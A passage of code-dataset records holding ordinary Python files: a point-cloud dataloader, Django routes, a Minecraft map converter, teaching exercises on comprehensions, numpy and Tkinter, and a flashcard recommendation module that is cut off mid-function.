point_list\n self.label_list = label_list\n\n print(\"# shapes loaded: \", len(point_list))\n\n ## process the label\n self.min_label = np.concatenate(self.label_list).min()\n print(\"min label\", self.min_label)\n\n # to tensor\n self.toTensor = dutils.PointcloudToTensor()\n\n ## data warper\n self.warper_da = transforms.Compose(\n [\n dutils.PointcloudRotate(angle=rotsd,axis=np.array([1, 0, 0])),\n dutils.PointcloudRotate(angle=rotsd,axis=np.array([0, 1, 0])),\n dutils.PointcloudRotate(angle=rotsd,axis=np.array([0, 0, 1])),\n dutils.PointcloudScale(hi=scale_hi, lo=scale_lo),\n dutils.PointcloudTranslate(translate_range=transsd),\n # dutils.PointcloudJitter()\n ]\n )\n\n # data augmentation\n self.transforms = transforms.Compose(\n [\n dutils.PointcloudRotate(angle=rotsd,axis=np.array([1, 0, 0])),\n dutils.PointcloudRotate(angle=rotsd,axis=np.array([0, 1, 0])),\n dutils.PointcloudRotate(angle=rotsd,axis=np.array([0, 0, 1])),\n dutils.PointcloudScale(hi=scale_hi, lo=scale_lo),\n dutils.PointcloudTranslate(translate_range=transsd),\n # dutils.PointcloudJitter()\n ]\n )\n \n def _make_datalist(self, split):\n path = osp.join(self.root, 'train_test_split',\n f'shuffled_{split}_file_list.json')\n filenames = []\n with open(path, 'r') as f:\n for name in json.load(f):\n category, fname = name.split(osp.sep)[1:] # Removing first directory.\n category_fname = osp.join(category, fname)\n if category in self.category_list:\n filenames.append(category_fname)\n return filenames\n\n def _load(self, fname_list):\n xyz_list, normals_list, labels_list = [], [], []\n for fname in fname_list:\n fname = osp.join(self.root, fname+'.txt')\n xyz, labels = load_model_data(fname, sep=' ')\n xyz_list.append(xyz)\n labels_list.append(labels)\n return xyz_list, labels_list\n\n def __getitem__(self, index):\n current_points = self.point_list[index].copy()\n current_points = self.toTensor(current_points)\n current_labels = self.label_list[index].copy()\n current_labels = self.toTensor(current_labels).type(torch.LongTensor) - self.min_label # start from 1\n \n if self.num_points is not None:\n if not self.non_uniform:\n pt_idxs = fps.farthest_point_sample(current_points, self.num_points)\n pt_idxs = pt_idxs[torch.randperm(pt_idxs.shape[0])]\n else:\n print(current_points.shape[0])\n pt_idxs = torch.randperm(current_points.shape[0])[:1024]\n print(pt_idxs.shape[0])\n\n X = current_points[pt_idxs,:]\n labels = current_labels[pt_idxs]\n else:\n X = current_points\n labels=current_labels\n return X\n \n data, meta = self.prepare_wrap_data2(X)\n meta = {**meta, 'pc0': X, 'index': index, 'label': labels}\n \n return {\"data\": data, \"meta\": meta}\n\n def __len__(self):\n return len(self.point_list)\n\n def size(self):\n return len(self.point_list)\n\n def prepare_wrap_data2(self, X):\n if self.has_warper: ## training\n TX1 = self.warper_da(X)\n TX2 = self.warper_da(X)\n data = torch.stack((TX1, TX2), 0)\n meta = {'pc1': TX1, 'pc2': TX2}\n else: ## testing\n if self.transforms is not None and self.augmentation:\n # print(\"do data augmentation\")\n X = self.transforms(X)\n data = X[None, ...] # to keep the dim\n meta = {'pc1': X}\n return data, meta\n\n def get_data_with_indices(self, indices):\n output_list=[]\n for idx in indices:\n output_list.append(self.__getitem__(idx))\n\n # make a batch\n data_batch = [x[\"data\"] for x in output_list]\n data_batch = torch.stack(data_batch, dim=0)\n\n def merge_dict(ori, add):\n if ori is None:\n ori = {}\n for key, val in add.items():\n ori[key] = [val] # list\n else:\n for key, val in add.items():\n ori[key].append(val) # list\n return ori\n\n meta_batch = None\n for i, x in enumerate(output_list):\n meta_batch = merge_dict(meta_batch, x[\"meta\"])\n # make list to torch.tensor\n for key, val in meta_batch.items():\n if key == 'index':\n meta_batch[key] = torch.tensor(val)\n else:\n meta_batch[key] = torch.stack(val, dim=0)\n\n ##\n return {\"data\": data_batch, \"meta\": meta_batch}\n\n def get_data_with_index(self, index):\n assert isinstance(index, int)\n return self.__getitem__(index)\n\n###\nif __name__ == \"__main__\":\n root = \"../DataModelNet/PyGeoData/Data\"\n make_shapenet = ShapeNetMaker(root, category_list=[\"Airplane\"], split='test')\n data = make_shapenet.get_data()\n \n xyz = data['xyz'][0]\n print(xyz)\n gauss_curvature = data['gauss_curvature'][0]\n \n if True:\n # gauss_curvature as color\n color = (gauss_curvature-gauss_curvature.min())/(gauss_curvature.max()-gauss_curvature.min())\n color = color.unsqueeze(1).repeat(1, 3)\n else:\n # distance as color\n color = dist[:, 364]\n color = color.unsqueeze(1).repeat(1, 3)\n\n write_obj('shape_color_xyz_curvature_364.obj', xyz, color=color)\n print('done')\n \n","repo_name":"LeiYangJustin/Map-in-a-Cycle","sub_path":"pointcloud_data_loaders/shapenet_dataloader.py","file_name":"shapenet_dataloader.py","file_ext":"py","file_size_in_byte":10952,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"69"} +{"seq_id":"36776347550","text":"menu = [\n [\"egg\", \"spam\", \"bacon\"],\n [\"egg\", \"sausage\", \"bacon\"],\n [\"egg\", \"spam\"],\n [\"egg\", \"bacon\", \"spam\"],\n [\"egg\", \"bacon\", \"sausage\", \"spam\"],\n [\"spam\", \"bacon\", \"sausage\", \"spam\"],\n [\"spam\", \"egg\", \"spam\", \"spam\", \"bacon\", \"spam\"],\n [\"spam\", \"egg\", \"sausage\", \"spam\"],\n [\"chicken\", \"chips\"]\n]\n\nmeals = []\nfor meal in menu:\n if \"spam\" not in meal:\n meals.append(meal)\nprint(meals)\n\nprint(\"*\" * 80)\nmeals = [meal # expression\n for meal in menu # iterator\n if \"spam\" not in meal and \"chicken\" not in meal] # filter(s)\nprint(meals)\n\n\nfussy_meals = [meal # expression\n for meal in menu # iterator\n if \"spam\" in meal or \"eggs\" in meal if not (\"bacon\" in meal and \"sausage\" in meal) # filters\n ]\nprint(fussy_meals)\n\n# else in comprehension\nmeals2 = []\nprint(\"*\" * 80)\nmeals2 = [meal # expression\n if \"spam\" not in meal else \" meal skipped\" # condition\n for meal in menu # iterator\n ]\nprint(meals2)\n\nfor x in range(1, 31):\n fizzBuzz = \"fizz buzz\" if x % 15 == 00 \\\n else \"fizz\" if x % 3 == 0 \\\n else \"buzz\" if x % 5 == 0 \\\n else str(x)\n print(fizzBuzz)\n","repo_name":"datadiskpfv/advanced_python","sub_path":"list_comprehensions/condcomp.py","file_name":"condcomp.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31286143683","text":"from django.urls import path\nfrom . import views\nfrom django.conf.urls import include\n\nurlpatterns = [\n path('api', views.apiOverview),\n path('', views.account_list),\n path('register', views.register),\n path('<int:pk>', views.account),\n path('rankings', views.getRankings),\n path('navbar', views.navbar),\n path('profile/<int:pk>', views.profile),\n # path('login', views.login),\n path('auth', include('rest_framework.urls', namespace='rest_framework'))\n]","repo_name":"RyanYJOh/krawl_back","sub_path":"user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"6516085555","text":"#!/usr/bin/env python3\n\n# Dependencies\n# pip3 install --user nbtlib tqdm\n\n\nimport map_generator as mg\nimport argparse\nimport sys\nfrom pprint import pprint\nimport json\nimport os\nfrom os.path import join\n\nsys.path.append('MCWorldlib.egg')\nimport mcworldlib as mc\n\ntestbed = os.getenv('asist_testbed')\nmg.set_ipy_display(False)\nif testbed is None:\n print('Environment value `asist_testbed` is required. Got:', testbed)\n sys.exit(1)\n\nmaps_base = 'Local/CLEAN_MAPS/'\n\n# Falcon data comes from multiple region files.\nmc_worlds = {\n 'Falcon': # reference to world in maps_base = 'Local/CLEAN_MAPS/' and also the output folder container artifacts\n {\n 'Falcon5': # Intermediate folder where we generate artifacts\n {'region': (-5, 0),\n 'ranges': (-2112, -2049, 128, 207, 60, 62)},\n 'Falcon4': {'region': (-4, 0),\n 'ranges': (-2048, -2017, 128, 207, 60, 62)}\n },\n 'Sparky': {'Sparky': {'region': (-5, 0),\n 'ranges': (-2176, -2097, 144, 207, 52, 54)}},\n 'Saturn_Feb4': {\n 'Saturn_Feb4_region_5_0': {'region': (-5, 0),\n 'ranges': (-2240, -2065, 0, 143, 59, 64)},\n 'Saturn_Feb4_region_5_1': {'region': (-5, -1),\n 'ranges': (-2240, -2065, -96, -1, 59, 64)}},\n 'Saturn_1.1_3D': {\n 'Saturn_1.1_3D_region_5_0': {'region': (-5, 0),\n 'ranges': (-2240, -2065, 0, 143, 59, 64)},\n 'Saturn_1.1_3D_region_5_1': {'region': (-5, -1),\n 'ranges': (-2240, -2065, -96, -1, 59, 64)}},\n 'Saturn_1.6_3D': {\n 'Saturn_1.6_3D_region_5_0': {'region': (-5, 0),\n 'ranges': (-2240, -2065, 0, 143, 59, 64)},\n 'Saturn_1.6_3D_region_5_1': {'region': (-5, -1),\n 'ranges': (-2240, -2065, -96, -1, 59, 64)}},\n 'Saturn_2.0_3D': {\n 'Saturn_2.0_3D_region_5_0': {'region': (-5, 0),\n 'ranges': (-2240, -2065, -14, 70, 59, 64)},\n 'Saturn_2.0_3D_region_5_1': {'region': (-5, -1),\n 'ranges': (-2240, -2065, -1, -16, 59, 64)}\n },\n 'Saturn_2.6_3D': {\n 'Saturn_2.6_3D_region_5_0': {'region': (-5, 0),\n 'ranges': (-2240, -2065, -14, 70, 59, 64)},\n 'Saturn_2.6_3D_region_5_1': {'region': (-5, -1),\n 'ranges': (-2240, -2065, -1, -16, 59, 64)}\n } ,\n 'Saturn_Training_Feb4': {\n 'Saturn_Training_Feb4_region_5_0': {'region': (-5, 0),\n 'ranges': (-2240, -2065, 0, 143, 22, 25)},\n 'Saturn_Training_Feb4_region_5_1': {'region': (-5, -1),\n 'ranges': (-2240, -2065, -96, -1, 22, 25)}\n }\n}\n\n\ndef make_world_path(world_name):\n return join(testbed, maps_base, world_name)\n\n\ndef ensure_dir_exists(path):\n # print('Current Working Dir', os.getcwd())\n if os.path.exists(path):\n return True\n try:\n print('Ensuring Dir exists', path)\n os.makedirs(path)\n except Exception as e:\n print('Exception creating:', path)\n pprint(e)\n return False\n\n\ndef print_regions(regions):\n mc.pretty(regions)\n for r in regions:\n mc.pretty(r)\n # for chunk in r.values():\n # mc.pretty(chunk)\n # pprint(r)\n # print(r)\n\ndef make_world(from_world, region, ranges, to_world=None):\n if to_world is None:\n to_world = from_world\n print(from_world, region, ranges, to_world)\n ensure_dir_exists(to_world + '/floors')\n jsn_file = from_world + '.json'\n world = mc.load(make_world_path(from_world))\n print()\n # print_regions(world.regions)\n # for chunk in world.get_chunks():\n # mc.pretty(chunk)\n\n all_blocks, important_blocks = mg.generate_maps(world, region, ranges, to_world, False)\n mg.generate_json(all_blocks, ranges, to_world, jsn_file)\n\n\ndef make_falcon_world():\n make_world('Falcon', 'Falcon4')\n make_world('Falcon', 'Falcon5')\n\n\ndef make_world_wrapper(world_name):\n if world_name not in mc_worlds:\n print('World not found in config:', world_name)\n sys.exit(1)\n worlds = mc_worlds[world_name]\n ensure_dir_exists(world_name)\n if len(worlds) == 1:\n make_world(world_name, mc_worlds[world_name][world_name]['region'], mc_worlds[world_name][world_name]['ranges'])\n elif len(worlds) == 2:\n for to_world, data in worlds.items():\n print(to_world, data)\n make_world(world_name, data['region'], data['ranges'], to_world)\n worlds_idx = list(worlds.keys())\n print(worlds_idx)\n mg.merge_folders(worlds_idx[0], worlds_idx[1], world_name, world_name + '.json')\n else:\n print('TODO: merge worlds with data spread over regions:', len(worlds))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Script to create minecraft world in json format')\n parser.add_argument('mc_world')\n args = parser.parse_args()\n world_name = args.mc_world\n print('Creating JSON file for world {}'.format(world_name))\n if world_name not in mc_worlds:\n print('World not found in internal config. Options are:')\n pprint(mc_worlds)\n sys.exit(1)\n make_world_wrapper(world_name)\n print('Done testbed_to_json.py\\n')\n","repo_name":"zt-yang/ASIST-MC-toolbox","sub_path":"testbed_to_json.py","file_name":"testbed_to_json.py","file_ext":"py","file_size_in_byte":5429,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"10406444330","text":"#!/usr/bin/python\n\"\"\"\nYour mapper function should print out 10 lines containing longest posts, sorted in\nascending order from shortest to longest.\nPlease do not use global variables and do not change the \"main\" function.\n\"\"\"\nimport sys\nimport csv\nfrom operator import itemgetter\n\ndef mapper():\n reader = csv.reader(sys.stdin, delimiter='\\t')\n writer = csv.writer(sys.stdout, delimiter='\\t', quotechar='\"', quoting=csv.QUOTE_ALL)\n body_list=[]\n line_list=[]\n i=0\n for line in reader:\n line_list.append(line)\n body_list.append([line[4],i])\n i+=1\n body2_list=sorted(body_list, key=lambda x: len(x[0]), reverse=True)\n body3_list=[]\n for j in range(0,10):\n body3_list.append(line_list[body2_list[j][1]])\n for j in range(0,10):\n writer.writerow(body3_list[9-j])\n \n \n\n\ntest_text = \"\"\"\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"333\\\"\\t\\\"\\\"\n\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"88888888\\\"\\t\\\"\\\"\n\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"1\\\"\\t\\\"\\\"\n\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"11111111111\\\"\\t\\\"\\\"\n\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"1000000000\\\"\\t\\\"\\\"\n\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"22\\\"\\t\\\"\\\"\n\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"4444\\\"\\t\\\"\\\"\n\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"666666\\\"\\t\\\"\\\"\n\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"55555\\\"\\t\\\"\\\"\n\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"999999999\\\"\\t\\\"\\\"\n\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"\\\"\\t\\\"7777777\\\"\\t\\\"\\\"\n\"\"\"\n\n# This function allows you to test the mapper with the provided test string\ndef main():\n import StringIO\n sys.stdin = StringIO.StringIO(test_text)\n mapper()\n sys.stdin = sys.__stdin__\n\nmain()\n\n","repo_name":"hacxorcist/Hadoop-MapReduce","sub_path":"Lecture4_Filter_top10.py","file_name":"Lecture4_Filter_top10.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"72567309979","text":"ex_3 = open('text_3.txt', 'r', encoding='utf-8')\ncontent = ex_3.readlines()\n# print(content)\nlst = []\ntotal_salary = 0\nfor line in content:\n line = line.split(' ')\n if float(line[1]) < 20000:\n lst.append(line[0])\n total_salary += float(line[1])\naverage_salary = \"{:.0f}\".format(total_salary / len(content))\nprint(f'{average_salary} - средняя зарплата.')\nprint(f\"{', '.join(lst)} получают меньше 20000 в месяц.\")\nex_3.close()","repo_name":"fyodorbatchkala/python_introduction","sub_path":"HW5/hw5ex3.py","file_name":"hw5ex3.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37228496194","text":"from tkinter import messagebox, Tk, Button , Frame , Entry , Label \n\nventana = Tk()\nventana.title(\"AUTOBUS\")\nventana.geometry(\"300x400\")\n\n\nfondo = Frame(ventana,bg=\"white\")\nfondo.pack(expand=True,fill='both')\n\n\n\nbustexto = Label(fondo,text=\"AUTOBUS\",bg=\"blue\",fg=\"white\")\nbustexto.place(x=0, y=0)\n\n\n\n\n\n\n\n\nbustexto = Label(fondo,text=\"Marca\",bg=\"white\",fg=\"black\")\nbustexto.place(x=0, y=50)\nparadas = Entry(width=\"30\")\nparadas.place(x=100, y=50)\n\nbustexto = Label(fondo,text=\"Modelo\",bg=\"white\",fg=\"black\")\nbustexto.place(x=0, y=100)\nparadas = Entry(width=\"30\")\nparadas.place(x=100, y=100)\n\nbustexto = Label(fondo,text=\"Matricula\",bg=\"white\",fg=\"black\")\nbustexto.place(x=0, y=150)\nparadas = Entry(width=\"30\")\nparadas.place(x=100, y=150)\n\n\nbustexto = Label(fondo,text=\"N de asientos\",bg=\"white\",fg=\"black\")\nbustexto.place(x=0, y=200)\nparadas = Entry(width=\"30\")\nparadas.place(x=100, y=200)\n\nbustexto = Label(fondo,text=\"capasidad de tanque\",bg=\"white\",fg=\"black\")\nbustexto.place(x=0, y=250)\nparadas = Entry(width=\"20\")\nparadas.place(x=130, y=250)\n\n\n\n\n\n\nbtnatasigdato= Button(fondo,text=\"Asignar ruta\",fg=\"black\",bg=\"white\")\nbtnatasigdato.place(x=100,y=300,width=100,height=30)\n\nbtnatreporte= Button(fondo,text=\"Generar reporte\",fg=\"black\",bg=\"white\")\nbtnatreporte.place(x=100,y=340,width=100,height=30)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nventana.mainloop()\n","repo_name":"alanyoltic/POOS182","sub_path":"proyectopy/autobus.py","file_name":"autobus.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"12601121235","text":"import numpy as np\n\n\ndef n_size_ndarray_creation(n, dtype=np.int):\n return np.arange(n**2, dtype=dtype).reshape((n, n))\n\n\ndef zero_or_one_or_empty_ndarray(shape, type=0, dtype=np.int):\n if type == 0:\n return np.zeros(shape=shape, dtype=dtype)\n elif type == 1:\n return np.ones(shape=shape, dtype=dtype)\n elif type == 99:\n return np.empty(shape=shape, dtype=dtype)\n\n\ndef change_shape_of_ndarray(X, n_row):\n return np.squeeze(np.reshape(X, (n_row, -1)))\n\n\ndef concat_ndarray(X_1, X_2, axis):\n if X_1.ndim == 1:\n x1_2d = np.expand_dims(X_1, axis=0)\n else:\n x1_2d = X_1\n\n if X_2.ndim == 1:\n x2_2d = np.expand_dims(X_2, axis=0)\n else:\n x2_2d = X_2\n\n # return False if concatenation is impossible\n if x1_2d.shape[1-axis] != x2_2d.shape[1-axis]:\n return False\n else:\n return np.concatenate((x1_2d, x2_2d), axis=axis)\n\ndef normalize_ndarray(X, axis=99, dtype=np.float32):\n if axis == 99:\n axis = None\n\n if X.ndim == 1:\n # vector\n return (X-np.mean(X)) / np.std(X)\n else:\n # matrix\n mean = np.mean(X, axis=axis)\n std = np.std(X, axis=axis)\n\n if axis:\n # broadcasting\n mean = np.expand_dims(mean, axis=axis)\n std = np.expand_dims(std, axis=axis)\n\n return (X-mean) / std\n\n\ndef save_ndarray(X, filename=\"test.npy\"):\n np.save(filename, X)\n\n\ndef boolean_index(X, condition):\n return np.where(eval(str('X') + condition))\n\n\ndef find_nearest_value(X, target_value):\n idx = np.argmin(np.abs(X-target_value))\n return X[idx]\n\n\ndef get_n_largest_values(X, n):\n return X[np.argsort(-X)[:n]]\n\n","repo_name":"bmy4415/machine-learning-study","sub_path":"DSC2019/python_for_machine_leanring/chap6/2_lab_numpy/numpy_lab.py","file_name":"numpy_lab.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"23009053906","text":"from django.conf.urls import url\nfrom django.urls import path\n\nfrom .views import *\n\nurlpatterns = [\n path('', home_llantas, name='home_llantas'), \n path('movimientos/', movimientos, name='movimientos'),\n path('importacion/', importacion, name='importacion'),\n #path('entradas/', entradas, name='entradas'),\n #path('salidas/', salidas, name='salidas'),\n path('basura/', basura_vales, name='basura_vales'),\n path('vales/', vales, name='vales'),\n\n path('vale/<int:vale_id>/erase/', vale_erase, name='vale_erase'),\n path('vale/<int:vale_id>/basura/erase/', vale_erase_basura, name='vale_erase_basura'),\n\n path('salida/', salida, name='salida'),\n path('entrada/', entrada, name='entrada'),\n\n path('entrada/basura/', entrada_basura, name='entrada_basura'),\n\n path('salida/<int:vale_id>/edit/', salida_edit, name='salida_edit'),\n path('entrada/<int:vale_id>/edit/', entrada_edit, name='entrada_edit'),\n\n\n path('entrada/basura/<int:vale_id>/edit/', entrada_basura_edit, name='entrada_basura_edit'),\n\n path('salida/<int:vale_id>/', salida_add, name='salida_add'),\n path('entrada/<int:vale_id>/', entrada_add, name='entrada_add'),\n\n path('entrada/basura/<int:vale_id>/', entrada_basura_add, name='entrada_basura_add'),\n\n path('salida/<int:vale_id>/adjuntar/', salida_adjuntar, name='salida_adjuntar'),\n path('entrada/<int:vale_id>/adjuntar/', entrada_adjuntar, name='entrada_adjuntar'),\n path('salida/<int:vale_id>/impresion/', salida_impresion, name='salida_impresion'),\n path('salida/<int:vale_id>/movimiento/', salida_add_movimiento, name='salida_add_movimiento'),\n path('salida/<int:vale_id>/movimiento/<int:movimiento_id>/erase/', salida_erase_movimiento, name='salida_erase_movimiento'),\n path('entrada/<int:vale_id>/movimiento/<int:movimiento_id>/erase/', entrada_erase_movimiento, name='entrada_erase_movimiento'), \n\n path('entrada/<int:vale_id>/movimiento/<int:movimiento_id>/basura/erase/', entrada_erase_movimiento_basura, name='entrada_erase_movimiento_basura'), \n\n path('detalle/<int:movimiento_id>/', movimiento , name='movimiento'),\n path('actual/', actual, name='actual'),\n path('llanta/<int:llanta_id>/movimientos/', llanta_detalle, name='llanta_detalle'),\n]\n\n","repo_name":"ramirovazq/mialmacen","sub_path":"almacen/llantas/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"1883666145","text":"import sys \n \ninput = sys.stdin.readline\nsys.setrecursionlimit(10_000)\n\n\ndef dfs(n,\n sum, result):\n if sum == n:\n return [list(result)]\n ## 1, 2씩 증가한다면, 종착역을 넘어갈 수 있으니 false로 답해주고, 집계시 필터링한다.\n if sum > n:\n return False\n\n temp_result = []\n for x in [1,2]:\n k = dfs(n, sum + x, list(result) + [x])\n if k:\n temp_result += k\n\n return temp_result\n\n\nif __name__ == '__main__':\n ## 2Xn타일링: https://school.programmers.co.kr/learn/courses/30/lessons/12900\n n = int(input().strip())\n\n ## (1) n을 1or2로 구성하는 방법을 나눠야한다.\n ## -> 택1의 경우의 수는, 재귀 or보텀업으로 풀어야한다.\n ## f(4) = f(3) + f(2)\n print(dfs(n,\n 0, []))\n pass \n","repo_name":"is2js/2022_algorithm","sub_path":"programmers/30_dp_2Xn타일링_가로1or2선택을dfs푸니시간초과/30_dp_2Xn타일링_가로1or2선택을dfs푸니시간초과.py","file_name":"30_dp_2Xn타일링_���로1or2선택을dfs푸니시간초과.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"43733653189","text":"'''\r\nCreated on 29 oct. 2019\r\nCe module contient les différents traitements metiers (sauf le réseau de neurones auquel ce module fait appel) \r\n@author: Anas Neumann <anas.neumann.isamm@gmail.com>\r\n'''\r\n# -*-coding:Utf-8 -*\r\nfrom DAO import themes, users, flashcards, pages, levels, History, historic\r\nfrom NeuralNetwork import classify\r\nimport random\r\n\r\n# Réglages des formules mathématiques\r\nALPHA = 10\r\nBETA = 5\r\nGAMMA = 1\r\nPILE_SIZE = 50\r\n\r\n'''------------------------------------------------------------------------\r\nETAPE \"EN COURS\" : RECUPERATION DES CARTES ET CHANGEMENT DES NIVEAUX\r\n------------------------------------------------------------------------'''\r\n\r\n# Charger le prochain paquet de cartes à répondre en fonction de l'utilisateur et de la page en cours\r\ndef loadcards(user, pageId):\r\n pageCat = getElt(pageId, pages).catId\r\n result = list()\r\n\r\n #1. Combler en respectant les proportions\r\n samePage = 0.7 * PILE_SIZE\r\n otherPageSameCategory = 0.2 * PILE_SIZE\r\n otherPageOtherCategory = 0.1 * PILE_SIZE\r\n sameLevel = 0.8 * PILE_SIZE\r\n levelPlusOne = 0.1 * PILE_SIZE\r\n levelMinusOne = 0.1 * PILE_SIZE\r\n for c in orderCards(flashcards, user.id): \r\n if c['card'].pageId == pageId and samePage > 0:\r\n if c['card'].levelId == (user.levelId + 1) and levelPlusOne > 0:\r\n result.append( c['card'])\r\n levelPlusOne -= 1\r\n elif c['card'].levelId == (user.levelId - 1) and levelMinusOne > 0:\r\n result.append( c['card'])\r\n levelMinusOne -= 1\r\n elif sameLevel>0: \r\n result.append( c['card'])\r\n sameLevel -=1\n samePage -= 1\r\n else :\r\n if getElt(pageId, pages).catId == pageCat and otherPageSameCategory >0:\r\n if c['card'].levelId == (user.levelId + 1) and levelPlusOne > 0:\r\n result.append( c['card'])\r\n levelPlusOne -= 1\r\n elif c['card'].levelId == (user.levelId - 1) and levelMinusOne > 0:\r\n result.append( c['card'])\r\n levelMinusOne -= 1\r\n elif sameLevel>0: \r\n result.append( c['card'])\r\n sameLevel -=1\r\n otherPageSameCategory -= 1\r\n elif otherPageOtherCategory >0:\r\n if c['card'].levelId == (user.levelId + 1) and levelPlusOne > 0:\r\n result.append( c['card'])\r\n levelPlusOne -= 1\r\n elif c['card'].levelId == (user.levelId - 1) and levelMinusOne > 0:\r\n result.append( c['card'])\r\n levelMinusOne -= 1\r\n elif sameLevel >0: \r\n result.append( c['card'])\r\n sameLevel -=1\r\n otherPageOtherCategory -= 1\r\n \r\n #2. Combler aléatoirement s'il y a encore des catégories vides (manque de cartes)\r\n for c in flashcards:\r\n if len(result) >= PILE_SIZE:\r\n break\r\n else:\r\n result.append(c)\r\n \r\n #3. Mélanger les cartes sélectionnées \r\n random.shuffle(result)\r\n return result\r\n\r\n# Tri d'une pile de carte par intêret pour l'utilisateur\r\ndef orderCards(cards, userId):\r\n sortedCards = list()\r\n for c in cards:\r\n v = 0\r\n for h in getAllHistory(c.id, False):\r\n if h.userId == userId:\r\n v = ALPHA*(h.success + h.echec)/h.views + BETA*h.echec/h.views - GAMMA*h.views\r\n break\r\n sortedCards.append({'card' : c, 'value' : v})\r\n return sortedCards.sort(key=lambda card: card.value, reverse=True)\r\n\r\n# Modifier le level d'une carte ou d'un user\r\ndef reloadLevelAndComplexity(elt, eltIsUser):\r\n listOfElements = users if eltIsUser is True else flashcards\r\n maxComplexity = 0\r\n result = {\r\n 'complexity' : getComplexity(elt, eltIsUser),\r\n 'level' : 10\r\n }\r\n for element in listOfElements:\r\n maxComplexity = max(maxComplexity, element.complexity)\r\n for i in range(10, 1, -1):\r\n if i/10 >= result['complexity']/maxComplexity:\r\n result['level'] = i\r\n return result\r\n\r\n# Calculer la \"complexité\" actuel d'une carte ou d'un user\r\ndef getComplexity(elt, eltIsUser):\r\n eltId = \"cardId\" if eltIsUser is True else \"userId\"\r\n listOfElements = flashcards if eltIsUser is True else users\r\n historic = getAllHistory(elt.id, eltIsUser)\r\n totalComplexity = 0\r\n totalEssais = 0\r\n for h in historic:\r\n totalComplexity += h.echec * ALPHA * getElt(h[eltId], listOfElements).levelId\r\n totalEssais += h.echec + h.success\r\n return totalComplexity/totalEssais\r\n\r\n\r\n'''------------------------------------------------------------------------\r\nETAPE \"INITIALE\" : CREATION D'UNE NOUVELLE CARTE OU PAGE\r\n------------------------------------------------------------------------'''\r\n\r\n# Calcul initial du level d'une nouvelle carte (appel du réseau de neurones)\r\ndef initialCardLevel(card):\r\n return classify(getNewCardFeatures(card))\r\n \r\n# Récupération des features d'une nouvelle carte avant l'appel du réseau de neurones\r\ndef getNewCardFeatures(card):\r\n features = {\r\n 'categoryId' : card.catId,\r\n 'pageId' : card.pageId,\r\n 'themeId' : card.themeId,\r\n 'picture' : (card.picture == \"\"),\r\n 'nbrAnswers' : len(card.answers),\r\n 'sizeAnswers' : 0,\r\n 'sizeQuestion' : len(card.question.split(\".\")),\r\n 'sizeSentencesQuestion': 0,\r\n 'sizeSentencesAnswers' : 0,\r\n 'sizeWordsQuestion' : 0,\r\n 'sizeWordsAnswers' : 0\r\n }\r\n\r\n #1. Informations sur les réponses\r\n totalSentences = 0\r\n totalWords = 0\r\n totalChars = 0\r\n for answer in card.answers: \r\n sentences = answer.split(\".\")\r\n totalSentences += len(sentences)\r\n nbrWordsByAnswer = 0\r\n nbrCharsByAnswer = 0\r\n for sentence in sentences:\r\n words = sentence.split(\" \")\r\n nbrWordsByAnswer += len(words)\r\n nbrCharsBySentence = 0\r\n for word in words:\r\n nbrCharsBySentence += len(word)\r\n nbrCharsByAnswer += nbrCharsBySentence/len(words)\r\n totalWords += nbrWordsByAnswer/len(sentences)\r\n totalChars += nbrCharsByAnswer/len(sentences)\r\n features['sizeAnswers'] = totalSentences/len(card.answers)\r\n features['sizeSentencesAnswers'] = totalWords/len(card.answers)\r\n features['sizeWordsAnswers'] = totalChars/len(card.answers)\r\n\r\n #2. Information sur la question\r\n question = card.question.split(\".\")\r\n totalWords = 0\r\n totalChars = 0\r\n for sentence in question:\r\n words = sentence.split(\" \")\r\n totalWords += len(words)\r\n nbrCharsBySentence = 0\r\n for word in words:\r\n nbrCharsBySentence += len(word)\r\n totalChars += nbrCharsBySentence/len(words)\r\n features['sizeSentencesQuestion'] = totalWords/len(question)\r\n features['sizeWordsQuestion'] = totalChars/len(question)\r\n return features\r\n\r\n# Classement initial du thème d'une nouvelle carte via les sorties de LDA\r\ndef initialTheme(card):\r\n finalTheme = {\r\n 'id' : -1,\r\n 'total' : 0\r\n }\r\n for t in themes:\r\n total = 0\r\n for k in t.keywords:\r\n total += k['coef']*card.question.count(k['word'])\r\n if total > 